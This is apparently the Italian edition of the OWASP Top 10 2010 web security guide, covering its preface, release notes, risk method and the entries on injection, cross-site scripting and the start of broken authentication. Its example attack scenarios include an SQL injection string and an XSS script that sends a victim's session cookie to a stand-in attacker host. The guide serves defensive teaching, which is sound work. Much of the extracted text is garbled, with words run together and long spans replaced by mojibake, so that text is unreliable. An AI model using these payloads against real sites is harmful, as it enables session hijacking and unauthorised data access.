OWASP

The Open Web Application Security Project

OWASP Top 10 - 2010

The Ten Most Critical Web Application Security Risks

Versione in Italiano B

M\

Creative Commons (CC) Attribution Share-Alike
Free version at http://www.owasp.org




Prologo

A proposito di OWASP

A proposito di OWASP

Il Softwarescritto in manieranon sicurastaminandole fondamenta
di infrastrutture informatiche critiche come quelle finanziarie,
medicosanitarie,energetichee legateal settore delladifesa

Man mano che le nostre infrastrutture digitali aumentano in
complessita e diventano sempre piu interconnesse, aumenta
esponenzialmentela difficolta y St £ Q 2 sicliré&zyadpiliBativa
adeguata Non possiamopiu permetterci di tollerare problemi di
sicurezza relativamente semplici come quelli presentati Y S f
OWASHop10.

Lo scopodel progetto Top 10 € quello di aumentarela sensibilita
sulla sicurezzaapplicativaattraversof QA R Sy i defpAnGipali
rischiai quali sonoespostele organizzazioniT. Il progetto Top10é
preso come riferimento da numerosi standard, libri, tool e
organizzazioncome MITRE,PCIDSS DISA,FTC,e molte altre.
Questa release R SOWASPTop 10 segnaf Q2 {ianhodhella
campagnadi sensibilizzazion@ dzf f QA YdelZidehi legatl alla
sicurezzapplicativa LaprimaedizioneR S £ f Q Aép10fidaleal
2003 alcune piccole modifiche sono state apportate siat QI
successiv@2004) chenel 2007, questae laversionedel 2010

OWASP incoraggia f Qdzdelka Top 10 affinché la vostra
organizzazioneinizi a prendere in considerazionela sicurezza
applicativa Gli sviluppatori possono apprendere dagli errori
commessidalle altre organizzazionil dirigenti possonoiniziare a
pensare come gestire i rischi che le applicazioni software
introducononelleloro compagnie

Tuttaviala Top 10 non € un programmadi sicurezzaapplicativa
Come passoevolutivo, OWASPraccomandaalle organizzaziondi

stabilire delle solide fondamenta riguardanti la formazione,
f Ql R2distanddd e di strumenti software che rendano
possibilelo sviluppodi software sicura Sopratali fondamenta,le

organizzaziondlovrebberointegrarela sicurezzanei propri processi
di sviluppo, verificae manutenzionedel software Il management
puo usarei risultati ottenuti datali attivita per la gestionedei costi
e deirischiassociatallasicurezzapplicativa

Noi speriamochef Qh 2 Tdp 0 possaessereutile nel vostro
investimentoy’ St f QI L¥efudind Noih stafe a contattate
OWASPper domande, commenti ed idee sia in mailing list
I £ f QA yORVASRROpTEr#Rlistowasporg o privatamente a
davewichers@owaspmrg.

http://www.owasp.org/index.php/Top_10

[ QpenWeb ApplicationSecurityProject(OWASP)e unacomunita
open di professionistiR S f &e@urit¢ il cui scopo & quello di
permettere alle organizzazioni di sviluppare, acquistare e
mantenereapplicazionii cui possandidarsi | f f Q AdyGS\SIE
potrete trovare,in formagratuita e liberaX

A Strumentie standardper la sicurezzapplicativa

A Libri completi su come condurre test di sicurezza,come
svilupparecodice sicuro e come condurre una security code
review

A Libreriesoftwaree controlli di sicurezzatandard

A Capitolilocaliin pressochégninazionedel Pianeta

ARicerccR QI @I y 3dzl NRA |

A Conferenzeapprofonditeorganizzaten tutto il mondo

A Mailinglist

A Emolto altroX il tutto a disposizionesuwww.owasporg

Tutto il materiale OWASP(strumenti, documentazione forum e
capitoli nazionali)é assolutamentein forma gratuita ed aperto a
chiunquesiainteressatoal miglioramentoR Sdpplicationsecurity
Noiraccomandiamali usareun approccioalla sicurezzaapplicativa
basatosulle persone,sui processied infine sullaparte tecnologica
Questoperché migliorare queste tre aree rappresentaf QI LJLJ
piu efficaceallasicurezzapplicativa

OWASR un nuovatipologiadi organizzazionelLanostraliberta da
vincoli e pressionicommercialici permette di dare informazioni
imparziali,di pratico utilizzo e di valore sulla sicurezzaapplicatva
OWASPon e affiliata con alcunasocietache produce prodotti in
ambito IT anche se tuttavia supportiamo f Q dadfd@mato di
tecnologiecommerciali

In maniera simile a molti altri progetti software open-source,
OWASPproduce molti tipi di materiale in modo collaborativoed
aperto.

[ Qh 2 Fdundationé un entita no-profit che assicurail successo
del progetto nel lungo termine. Praticamentetutti gli associatiad

OWASRonovolontari, compresoil Boarddi OWASPi, membri del

GlobalCommittee,i ChapterLeader,i ProjectLeadered i membri

dei progetti OWASP Noi supportiamo la ricerca innovativa sulla
sicurezzdornendolevisibilitaed infrastrutture.

Unitevianoi!
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Introduzione

Benvenuti

Benvenutiy’ S®WASPTop 10 2010 Questoimportante aggiornamentomostra un elencomaggiormenteconcisoe focalizzatosui 10 Rischi
Maggiormente Critici per la Sicurezza delle Applicazioni Web. [ Q h 2 Tdp10hasemprecontenutodei rimandiai rischi,tuttaviat Q S R A
del 2010rende questoapprocciomolto piut chiarorispetto alle altre edizioni Inoltre vengonofornite informazioniaggiuntivesu comevalutare
questirischil f f Q AdgllévBdtdagplicazioni

Per ciascunavoce della top 10, lj dz§ & i Q Srieddiick @ prébabilita di accadimentoed i fattori conseguentiche sono utilizzati per
categorizzarda severitadel rischia Vengonointrodotte delle linee guida su come verificaref Q S & Ada problghii, lcome evitarli, alcuni
esempidi vulnerabilitaed alcunilink di approfondimento

LoscopoprincipaleR St f Q A@p10£ quellodi educaresviluppatori,progettisti, architetti, managere le organizzaziongircale conseguenze
delle principalivulnerabilitadi sicurezzalelle applicazioniweb. LaTop 10 forniscetecnichedi baseper proteggersida questecategoriead alto

rischioe fornisceunaguidasucomefar evolvereil proprio approccioallasicurezzapplicativapartendodallarisoluzionedelle stesse

Suggerimenti

Non fermatevi a 10. Ci sono centinaia di problematiche che

possono riguardare la sicurezzadi dzy Q| LILJ Wwed Indl sua

complessocome discussoy” SOWASPS S & S f otk NiDesto

documento risulta essenzialeper chiunque sviluppi applicazioni
web oggigiorno Una guida su come trovare efficacemente
vulnerabilita nelle applicazioniweb puo esseref QWASPTesting
Guidee IDWASFCodeReviewGuide che sonostate aggiornatein

manierasignificativaa seguitodellareleaseprecedenteR St £ Qh
Top10.

[ QS @2 t edebnkirtia/ QuestaTop 10 continueraad evolvere
Anche senza cambiare una sola linea nelle vostre applicazioni
potreste esserevulnerabili a qualcosaa cui nessunoha ancora
pensata Perfavore leggetei consigliche potete trovare in coda
allaTop10 al paragrafodWK | i(NEx&For Developersyerifiers,and
Organizations per maggioriinformazioni

Pensate positivo. Quandosarete pronti a passaredal rincorrere le
vulnerabilita a spostareil focus sulla definizione di controlli di
sicurezzaobustinel vostro codice sappiateche OWASFha dapoco
prodotto f A@plication SecurityVerification Standard(ASVSyome
guida per organizzazione code reviewersindicandole principali
areedi verifica

Usate i tool in maniera assennata. Levulnerabilitapossonoessere
complessee riguardare milioni di righe di codice La soluzione
migliore al problema e quella di affidarsi a persone esperte in
application security che useranno nella maniera piu efficace gli
strumentisoftwareperrilevaretali vulnerabilita

Spingetevi oltre. Applicazioniweb sicure possono nascere solo
guando viene utilizzato un ciclo di vita sicuro del software Per
avereunaguidasul SSDLGpbbiamorecentementerilasciatof @pen
Software AssuranceMaturity Model (SAMM) una riscrittura del
progetto OWASKELASP
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N2 Note alla Release

Il panoramadelle minacceper le applicazioninternet € in costantecambiamento | fattori chiavedi questaevoluzionesonoi progressi fatti
dagliattaccanti,il rilasciodi nuovetecnologiee f Q dii&i8&temisemprepiu complessiPerrisponderea questaevoluzionela OWASPTop 10
vieneperiodicamenteaggiornataln questanuovaversioneci sonotre significativicambiamentiispetto alle precedenti

1) Viene chiarito che la Top 10 riguardai maggiori dieci & w A § GbK l& prime dieci & @ dzf y S ik 6oindink Niagygiori dettagli sono
presentinellapaginad w A BeleKidurezza LILI A OF G A O €

2) Ecambiatala metodologiaper la stima e la classificazionalel rischia non ci si affida pit unicamentealla frequenzadella vulnerabilita
associatae questohainfluito & dzf t Q2 NJRellaTbpt & efied pud vederedallatabellain fondo allapagina

3) Sonostati rimossidue elementi(presentinellaTT2007) e sostituiti condue nuovi (nellaTT2010):

+ AGGIUNTG@ 6 - Configuraziondi sicurezzah Y LINE: buNsto8lémentovenivaidentificato nella TT2004comed 10 - Gestionenon
sicuradella® 2 y T A 3 daillerh ihv2og &sentedalla Top 10 2007 poiché non venivaconsideratoun problemadi sicurezzadel
software Vieneinvecereintrodotto a pieno titolo nella Top 10 2010 per i suoi aspetti legati ai rischi organizzativi ed alla sua
diffusione

+ AGGIUNT@ 10 - Redirecte Forwardnon @ | t A gulesiofréblemadebutta nella nuovaTop 10. Diversesono le evidenzeche il
problema,relativamentesconosciutosiaestremamentediffuso e puo esserecausadi danneggiamentsignificativi

¢ RIMOSS@ B ¢ Esecuzionenalevoladi T A :fpu# éssendoancoraun problemarilevantein differenti ambienti, la suapresenzanella
Top10 2007 era stata dettata principalmentedalle numeroseapplicazionPHPche soffrivanodi questoproblema Lenuoveversioni
di PHPhannoinveceunaconfigurazionali default piu sicurae cio ridimensionail problema

¢ RIMOSS@ B ¢ Perditadi informazionie gestioneimpropriadegliS NINRj#taproblemaé ancoramolto diffuso,mat QA Y hét
divulgarelo stacktrace ed i messaggii errore & tipicamentebasso Conf Q| 3 FhéllaZépilb 2010 dellad B - Configuraziondli
sicurezzaA Y LINE laNsBridtta Jestione degli errori & in gran parte attinente alla corretta configurazioneR St t QI ¥io
esecuzion®R St f QI LILX AOI T A2y S

OWASP 1op 10 00/ (Precedente OWASP 1op 10 010 OV3
A2 ¢ Injection Flaws Al ¢ Injection
Al ¢ Cross Site Scripting (XSS) A2 ¢ Cross-Site Scripting (XSS)
A7 ¢ Broken Authentication and Session Management A3 ¢ Broken Authentication and Session Management
A4 ¢ Insecure Direct Object Reference A4 ¢ Insecure Direct Object References
A5 ¢ Cross Site Request Forgery (CSRF) A5 ¢ Cross-Site Request Forgery (CSRF)

<era T10 2004 A10 ¢ Insecure Configuration Management> A6 ¢ Security Misconfiguration (NEW)

A8 ¢ Insecure Cryptographic Storage A7 ¢ Insecure Cryptographic Storage

A10 ¢ Failure to Restrict URL Access A8 ¢ Failure to Restrict URL Access

A9 ¢ Insecure Communications A9 ¢ Insufficient Transport Layer Protection

<non presente nella T10 2007> A10 ¢ Unvalidated Redirects and Forwards (NEW)
A3 ¢ Esecuzione malevola di file <rimossa dalla T10 2010>

A6 ¢ Perdita di informazioni e gestione impropria degli errori <rimossa dalla T10 2010>




delle applicazioni

NEeallel Rischi correlati alla sicurezza

Quali sono i rischi relativi alla sicurezza applicativa?

Gliattaccantj in teoria, hannoa disposizionediversipercorsil £ f Q Adgllé &ppligagional fine di danneggiarel businesso t Q A izieBdiJ
Ognunodi questipercorsirappresentaun rischioche pud o non puo esseresufficientementeelevatoda meritare la giustaattenzione

Agenti di

C Controlli di
inaccia i

Sicurezza

Vulnerabilita + -+Contro|lo+ "
== @ Vulnerabilita + -+Contro|lo+ "

==@ Vulnerabilita

Vettori di attacco Vulnerabilita

Attacco

Attacco

A
R

Attacco

1T

—? VulnerabilitaHControllo

Impatto tecnico

Impatto di business

Impatto

Impatto

7

Impatto

7

In alcunicasj questipercorsisonoindividuabilie sfruttabili molto facilmenteed in altri casj invece molto complessiAllo stessomodoil danno

chepuo esserecausatopuo esseredanullo fino adistruttivo per il proprio business

Alfine di determinareil rischiodellapropriaorganizzazionesi puo valutarela probabilitadi accadimentaassociata ciascunaminaccia vettore
di attaccoe carenzedi sicurezzaed associarlallastimadegliimpatti tecnicie di businesschela propriaorganizzazionsubirebbe|[ QA y diA
tutti questifattori determinail rischia

Quale e il mio rischio?

QuestoaggiornamentadellaOWASHo0p10 sifocalizzad dzf f Q A R S geimaggibriddcHi
per una larga gamma di organizzazioni Per ognuno di questi rischi vengono fornite
informazionigeneralicircala probabilitae f QA Y teknitdugizzandolo schemadi rating
chedi seguitoe espostoe chesibasasu OWASHRiskRatingMethodology

Sfruttamento
della
vulnerabilita

Vettore di
attacco

Impatto di
business

Agente di
minaccia

Principale
vulnerabilita

Impatto
tecnico

? Media Comune Media Moderato 9

Difficile Non comune Difficile Minore

In realtd, ognuno conoscele peculiarita del proprio ambiente e del proprio business Per
ciascunaapplicazioneconsideratapud non esistere una minacciache pud consentire un
attaccosignificativooppuref QA Y pa rioii éssererilevante Standocosile coseg ciascuno
deve valutare il proprio rischio analizzandole minacce le contromisuredi sicurezzae gli
impatti versoil businesgelativamenteallapropriaazienda

Sebbenda precedenteversionedi OWASPTop 10 fossefocalizzatea dzf £ QA R S gelieA

fpit R A F Fvdirerdkility erastrutturata anchepensandaal rischia | nomi dei rischielencati
nella Top 10 derivanodal tipo di attaccq dal tipo di vulnerabilitao dal tipo di impatto che
causanoSonostati sceltii nomi che sonopiu noti e che quindi consentonail piu alto livello di
comprensionee consapevolezza

Referenze

OWASP
AOWASP Risk Rating Methodology
AArticle on Threat/Risk Modeling

Esterne
AFAIR Information Risk Framework

AMicrosoft Threat Modeling (STRIDE
and DREAD)
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T10 OWASP Top 10 dei rischi di
sicurezza applicativa ¢ 2010

ab_elnjection Flaws come SQLnjection, OSlInjection e LDAHNjection, siverificanoquandodati non validati
vengonoinviati come parte di un comandoo di una query al loro interprete. Il dato infetto puo quindi
ingannaretale interprete, eseguendocomandi non previsti o accedendoa dati per i quali non si ha
fQFEdzi2NRTT T A2y S

Al ¢ Injection

. ubefalle di tipo XSSiverificanoquandodzy” Q I LILJE weldricdvedel qatéprovenientidafonti non affidabili
A2 C Cross-Site e li inviaad un browsersenzauna opportunavalidazionee/o descaping. Il XSS$ermette agli attaccantidi
Scripting (XSS) eseguiredegliscript malevolisui browserdelle vittime; tali script possonodirottare la sessioneR St f Qdz
fare un defacedel sito web o redirezionaref  Q dziisGuyi sitGmalevola

A3 ¢ Broken
NULEAL=Jal e L 16]a 121 le | ci-eprocedureapplicativerelativel £ £ QI dzli Seyilla ge€libriedel seSsionesonospessamplementate
in modo non corretto, permettendoagli attaccantidi comprometterepassword chiavi,token di sessioneo

Session sfruttare debolezzémplementativeper assumerd Q A R @ aftii Uteiti
Management
A4 ¢ Insecure aJn riferimento diretto ad un oggetto si verifica quando uno sviluppatore espone un riferimento
Direct Object I £ f QA Y LI Sinfedng di Mnloggettp’ &meun file, unadirectory, o unachiavein un database Senza
un opportuno controllo degliaccessp altre protezioni,gli attaccantipossonomanipolarequestiriferimenti
Reference in modo da accederea dati non autorizzati

A5 C Cross-Site oJn attaccodi CSRForzail browserdella vittima ad inviare una richiestaHT TPopportunamenteforgiata -
Request Forgery includendo i cookie di sessionedella vittima ed ogni altra informazione di autenticazione- ad una

applicazioneweb vulnerabile Questopermette |  f QI ( di forea€eH lyfdwSerdella vittima a generare
(CSRF) unarichiestachef Q| LJLJt vulBdrabilkcteglefegittimamenteinviataR I £ £ Qdzii Sy (i S

. oJnabuona sicurezzaichiede una opportuna configurazionedi applicazioniframework serverapplicativi,

A6 ¢ Security server web, databasee piattaforme. Tutte le configurazionidevono essere definite, implementate e
Misconﬁguration manutenute poichénon semprele configurazionidi default sonosicure Questoimplicamanteneretutto il
softwareaggiornato,jncludendoin essoanchetutte le librerieusateR | £ £ QI LILIX A Ol T A2y S

A7 C Insecure oMolte applicazioniweb non proteggonoopportunamentel dati sensibili(come numeri di carte di credito,
Cryptographic servizi sociali, credenzialiper f Q| dzii Sy (canClfratuka2 e/ Iaghing appropriati Degli attaccanti

potrebberoquindi rubare o modificaretali dati (debolmenteprotetti) per furto di identita, frodi con carte di
Storage credito, o altri criminiinformatici

«Molte applicazioniweb controllanoi diritti di accessoalle URLprima di visualizzarelink o funzionalita
protetti. Tali applicazionipero dovrebbero effettuare dei controlli di accessoogni qualvolta le pagine

A8 - Failure to

PR e el szl vengano accedute, altrimenti gli attaccanti potrebbero alterare le URLin modo da accederea pagine
protette.

A9 - Insufficient ule applicazionispessofallisconoy St £ Q1 dzulf&;éwlpmtbggdBeZa confidenzialitae f QA y (& 3
Transport Layer traffico di rete sensibile Quandoquestoaccadetalvoltae acausaR S f fdiatig@rini pocorobusti, talaltra
Protection I £ f @cdifeati scadutio invalidio chenonvengonoutilizzaticorrettamente

A10 C Unvalidated oj_e_appI_icazionWeb_spessoeseg_uonodei red_irec@o dei_for\/\{ard degliutenti versoaltre pa_gine_o Siti, e usano
Redirects and dei dati non validati per determinarele paginedi destinazione Senzauna opportunavalidazionequindi, gli
attaccantipossonofare un redirect delle vittime a siti di phishingo di malware o utilizzareil forward per

Forwards accederea paginenon autorizzate




Al

Injection

Vettori di
Attacco

Agenti di
Inaccia

Diffusione
COMUNE

Considerare in questa[ QI G G I OO y GIBnjestighdawsavvedrgono quando

Problematiche
di Sicurezza

Impatti
Tecnici

Impatti di
Business

Considerare il valore

Individuazione
MEDIA

Un Injectionpuo

classe chiunque possasemplice testo che usadzy’ QF LILX A OF | A2y S Ay @A portdReadiuhapefdita/ di Ougigeds® dafi |

mandare dati non la sintassi
controllati al sistema,
includendo utenti
interni, esterni ed
amministratori. dati puo essere un
vettore di Injection,

interne. a trovarli.

interprete. Questo tipo di debolezza si trova o corruzionedeidati,
RSt t QA y i SNpdNdpdlBente in sistemi legacy, spesso nellenancanzali
obiettivo dell'attacco. query SQL, LDAP, XPath, comandi OS, ecc. tacciabilitao rifiuto
Quasi ogni sorgente dilnjection flaw puo essere facilemente
individuato esaminando il codice, mentre € pigasipuo portarealla
difficile tramite il testing. Strumenti quali
comprese le sorgenti scanner e fuzzers possono aiutare gli attaccantintrollo del sistema

impattati e della
piattaforma su cui gird
f QA Yy G SNLINB
dati potrebbero
essere rubati,
modificati o cancellati
Potrebbe essere
rovinata la vostra
reputazione?

di accesso.lmalcuni

totale presadi

Sono vulnerabile?

Lf Y2R2 YAIEA2NB LISNI OSNRATAOI
dzy a Ay aSOiA 2y duttiyli iekpretdds dodhandi O N
RSttt QI LIX AOFT A2yS aSLI NARy2 OK
RFttS ljdzSNE® t SNJ €S OKAFYIFGS
bind in tutte le istruzioni e stored procedure, evitando query di tig
dinamico.

Il controllo del codice € un modo veloce ed accurato per verificar
un applicazione utilizza i moduli in maniera sicura. Gli strumenti ¢
analisi del codice possono aiutare gli analisti di sicurezza nel
BSNRATFAOFNB f Qdza2 RSAY SR ROE RIIG
penetration test possono verificare le carenze di controlli creandd
exploit che confermino la vulnerabilita.

N
IS
A
{
o

A

Come prevenire?

Prevenireun injectionrichiedechei dati di input sianotenuti
separatidacomandie query.

1. [ Q2 Lipriferita&quelladi usareAPIsicurecheeviti f Q dz
di uninterprete o cheforniscadzy’ Q A y (i aidetricr&ta |
Fareattenzionead APIlgualistored procedureschesono
parametrizzate machepossonoancoraintrodurre injection
sotto copertura

2. Senon sonodisponibiliAPIparametrizzateé necessario
evitare caratterispecialiusandosoluzionisintattiche (escape)
specificheperlj dzSf f QA K% S NI NBEhdak(ned L
queste escaping routines

Df A aO0FyySNI dzi2YIl GAOA LR &azy|2 . . o e @
conosciuti. Gli scanner non possono raggiungere sempre tutti i 8. Lava||d.a2|on.ed|{\ y L\sz.u . Ay mﬁdﬁ"f"“ﬁ tA
moduli e hanno difficolta nel verificare se un attacco & andato a normallz_zagl_on_e conS|gI|ab|Ie_ma nqnbas_,ta po_lchealcune

) . - . - applicazionrichiedonocaratterispecialineiloro input.
buon fine. Una gestiondeglierrori carente rende un Injection flaw h2 ! { t Qahaddlibréria estendibilediwhite list input
piu facile da scoprire. validation routines
Esempi di Scenario di Attacco Riferimenti
[ QF LILX asadatinanzoftillati nellacostruzionedella OWASP

seguentechiamataSQLvulnerabile

String query = "SELECT * FROM accounts WHERE
custiD=""+ request.getParameter("id") +"";

[ QF G ( ImGddicaypardmetroW AnBl Browser permandarela
stringaseguente ¥ 2 NX) @u@stodabdiail significatodellaquery
per selezionardutti | recorddal data basedeiclienti, invecedei soli
dati del codiceclienterichiesta

http://example.com/app/accountView?id="or '1'="1

Nelcasopeggioret QI ( (i bs@qddstdé®lezzaer chiamare
stored procedurespecialinel data basechepermettonodi prendere
il controllo completo del database @ersinodel servercheospitail
data base.

AOWASP SQL Injection Prevention Cheat Sheet
AOWASP Injection Flaws Article

AESAPI Encoder API

AESAPI Input Validation API

AASVS: Output Encoding/Escaping Requirements (V6)
AOWASP Testing Guide: Chapter on SQL Injection Testing
AOWASP Code Review Guide: Chapter on SQL Injection
AOWASP Code Review Guide: Command Injection
Esterni

ACWE Entry 77 on Command Injection

ACWE Entry 89 on SQL Injection



http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/Command_Injection
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
http://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection
http://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/77.html
http://cwe.mitre.org/data/definitions/89.html
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html

A2

Agenti di
Inaccia

Vettori di
Attacco

Sfruttamento
MEDIA

Considerare chiunque Siinvianosequenzei
possa inviare dati non comanditestuali
controllati al sistema, (script) perforzare
inclusi utenti interni,
ed esterni nonché gli del browser. Quasi
amministratori. tutte le sorgentidi
dati possonocessere
veicolidi attaccq
anchequelleinterne
qualii database

interni. codice

Cross-Site Scripting (XSS)

XSSeil maggiordifetto di sicurezzanelle
applicazionWEB. Laulnerabilitadi XSSi
manifestaquandoun applicativogenerauna
f QA y G iBtetddNS paginacondatiforniti R I £ f Qudmizadvwérli S dellavittima per:
validatio primadiavernefatto t Q S & Qdi LJimpatronirsidella
sonotre tipi di vulnerabilitaXSS: 1) Stored, 2) sessioneil defacing
Reflected, and 3DOM based XSS

Scoprirdamaggiorparte dei difetti XSS e
abbastanzdacile,analizzand testandoil

— .
Impatti Impatti di
Tecnici Business

Impatto
MODERATO

[ QF G34IpdOI vy Cddsiderard valore

business desistema
attaccatoe di tutti |
dati cheelabora

eseguiredel codice
dentroil browser

Consideraranche

f QA Y &dtbisiness

delladivulgazione
%fsf Q Sdellaa i
ulnerabilita

delsito, inserire
contenutiostili,
reindirizzaref Q dzii S
ecc

Sono vulnerabile?

Cisideveaccertarechequalunqueinput utente reinviatoal browser
RIf f QI Lkicdntollatofatrav&sounavalidazionedegli
input) echetaliinputR S f f Qsiatiodsgagdettatt R ¢ Sa Ol
primadi esserenviati alle paginein output. licorretto trattamento

di tali dati assicurache sianosemprevisti dal browser comestringhe
di testo e non comecontenutiattivi chepossanaessereeseguiti

Siai tools staticichedinamicipossonatrovare automaticamente
alcuniproblemidi XSSSiccomeogniapplicativocostruisce
differentementele proprie paginedi output e sibasasudifferenti
interpreti (JavaScript, ActiveX, Flash, Silverlightizonoscimento
automaticoe spessdifficile. Quindiunacoperturacompletadel
temaimponeanche oltre | f @ wmisAutomaticit QA a Lasii
codicee penetration tesmanuali

Tecnologieper Web 2.0, come AJAX¥ndonoinoltre f Q méltp
piu difficile dariconoscereautomaticatamente

Come prevenire?

Prevenirell XSSichiededi tenerei dati non controllati saparatidal
contenutoattivo del browser.

1.[ QI LILIN&edtq) pertutti i dati non affidabili équellodifare
f Q¢ S & @dprofkiafoal contestoHTML in cuverrannoutilizzato
(body, attribute, JavaScript, C8IJRI). VedereOWASP XSS

Prevention Cheat Sheper maggioriinfo sulletecnichedi escaping.

2.LavalidazioneR S f f @dsafakddmprocciodwhitelistt pasitiva
unitaad unaappropriatacanonicalizzazione decoding &
raccomandatana non eunadifesacompleta dato chealcuni
applicativirichiedonocaratterispecialinelle stringheinput. Tali
validaziondovrebberodecodificaretutto f Q A yfdhﬂtd)zéla
lunghezzai caratteri, i formati ef QI R %H&Bqﬁlhebs ruleprima
di accettarlicome input pef Q1 LILX.A OF T A2y S

3.Consideratd Q A LdRinipfegarela nuovaContent Security Policy
di Mozillarealizzatacon Firefox 4 peproteggersidail XSS.

Esempi di Scenari di Attacco

[ QI LILX #asédatinanZofitollati per costruirei seguenti
snippet HTMLsenzafare validazioneo escaping:

(String) page += "<input name='creditcardd (G & LJST U ¢ 9 -

value="" + request.getParameter(""CC") + "">";
[ QF G ( ImGddicaypar8metroW/ redrowser:

"><script>document.location=
‘http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.

Questofasichet Cdellasessionalellavittima vengainviato al
websiteR S f QI icanse@endoyldi dirottare sudi lui la
sessioneorrente.

Notarechet QI (i (i puOdhthgudafeXSS pesuperare
qualunquedifesaCSRBEutomaticachef QI LJLJ pgosssaver 2 Y
impiegata VedereA5 perinformazionisu CSRF.

Riferimenti

OWASP

AOWASP XSS Prevention Cheat Sheet

AOWASP CrosSite Scripting Article

AESAPENcoder API

AASVS: Output Encoding/Escaping Requirements (V6)
AASVS: Input Validation Requirements (V5)

ATesting Guide: 1st 3 Chapters on Data Validation Testing
AOWASP Code Review Guide: Chapter on XSS Review
Esterni

ACWE Entry 79 on CreSite Scripting

Aw { v I XSS attack Chegheet

ACA NB T 2 EXS$i Cdtent S¢aiiirky Policy Mechanism



http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Testing_for_Data_Validation
http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://developer.mozilla.org/en/Introducing_Content_Security_Policy

A3 Broken Authentication and
Session Management

% Vettori di Problematiche Impatti Impatti di
Agenti di Attacco di Sicurezza Tecnici Business

Inaccia

Sfruttamento Diffusione Individuazione
MEDIO COMUNE MEDIO

Considerare attaccantii QI G (i I OO y GlBsvildppatori spesso realizzano approcci  Tali difetti possono  Considerarél valore
esterni sconosciuti o difetti nel sistema di  personalizzati di gestione della sessione e  consentire un accessosulbusinesgleidati o
utenti noti con propri  gestione della RSttt Ql dzi SydA Ol T A2y Sz dirétto vefsb Wb & #ejle fulziogi A S NJ-
account che tentano sessione o corretta e difficile. Il risultato € che spesso  piu accounts. In caso applicativecoinvolti.
dirubare gliaccount RSt t QI dzii Sy quesh appracgi gefsonalizzati contengono  di successo
di altri. Considerare  (es.: esposizione delle difetti nelle aree quali il logut, la gestione £ QI GiF OO0 vy r%%@
anche possibili utenti password o degli RSttS LI &ag2NRE Af A sS4 mizwlégl deliea
interni che vogliano  account, identificativi Ij dzS& 2 O2 YLJdzi SNE = f | viteaYObigtivi & 4
nascondere le proprie della sessione, ecc.) £ QF 3IA2NY | YSy i2 RSt { dquedizarygl = :g |§" 2N
azioni. per impersonare difetti puod essere difficile, in quanto ciascunaaccount dotati di vulnerabilit

f Qdzii Sy (i S ® realizzazione & unica. privilegi.

Sono vulnerabile? Come prevenire?
Cruciale laprotezionedi credenzialied IDdi sessione La primaraccomandazionperdzy’ Q 2 NBH | yexdilfornirelagdli2 y
sviluppatori

1. Lecredenzialiarchiviatesonoprotette contecnichedi
offuscamentao di crittografia? VedereA7. 1. Un unico set di controlli per la gestione della Strong

- . . . Authentication e delle sessioni. Questoper assicurarsi
2.Lecredenzialpossoncessereindovinateo sovrascritte(es:

creazioneaccount,modificao recuperodelle passwordjdentificativi a) Dirispondereatutti i requisitidi gestione
dellasessionaleboli ecc)? RSt t QI dzii 8déliagessiorigkegisfiiiel Application
Security Verification StandafdSVSji OWASRelle aree
V2 (Authentication) e V3 (Session Management).

3.1Ddi sessionén chiaronelle URL ¢s: URL rewriting)?

4.1Ddi sessionevulnerabiliad attacchidi Session Fixation? b) Unasempliceinterfacciaper gli sviluppatori Considerare

5.GlilDhannounascadenzaf Q dzip&oyfate®g-out? f ESAPAuthenticator and User APt®mebuoniesempida
imitare, usareo ampliare

) _ - ) 2. Massimacuradeveesserepostay’ S f  Qd@fetidiitipoNdShe
7.Password, |di sessionee lealtre credenzialsonotrasmesssolo potrebberoconsentiredi sottrarre gli IDdi sessioneVediA2.

suconnessionTLS¥ediA9.

6. Dopolafasedi Logingli IDdi sessionezengonorinnovati?

VediASVSuirequisitiV2 e V3 pemaggioridettagli

Esempi di Scenari di Attacco Riferimenti

Scenario #1] Q| LILJdip@rotaZioedi unalineaaereausat Q OWASP

URL rewritingmettendof QdisBssionenellaURL: N o ) o ) ] o
Perun pit completoinsiemedi requisitie dei problemidaevitarein

http://example.com/sale/saleitems;jsessionid= li dz$ & (vedern&SYS requirements areas for Authentication (V.
2P0OC2JDPXMOOQSNDLPSKHCIUN2JV?dest=Hawaii and Session Management (V3)

Unutente autenticatovuole condividerecongliamiciquesta AOWASP Authentication Cheat Sheet

offerta. Inviaper emailil link senzacapireche staancheinviandoil

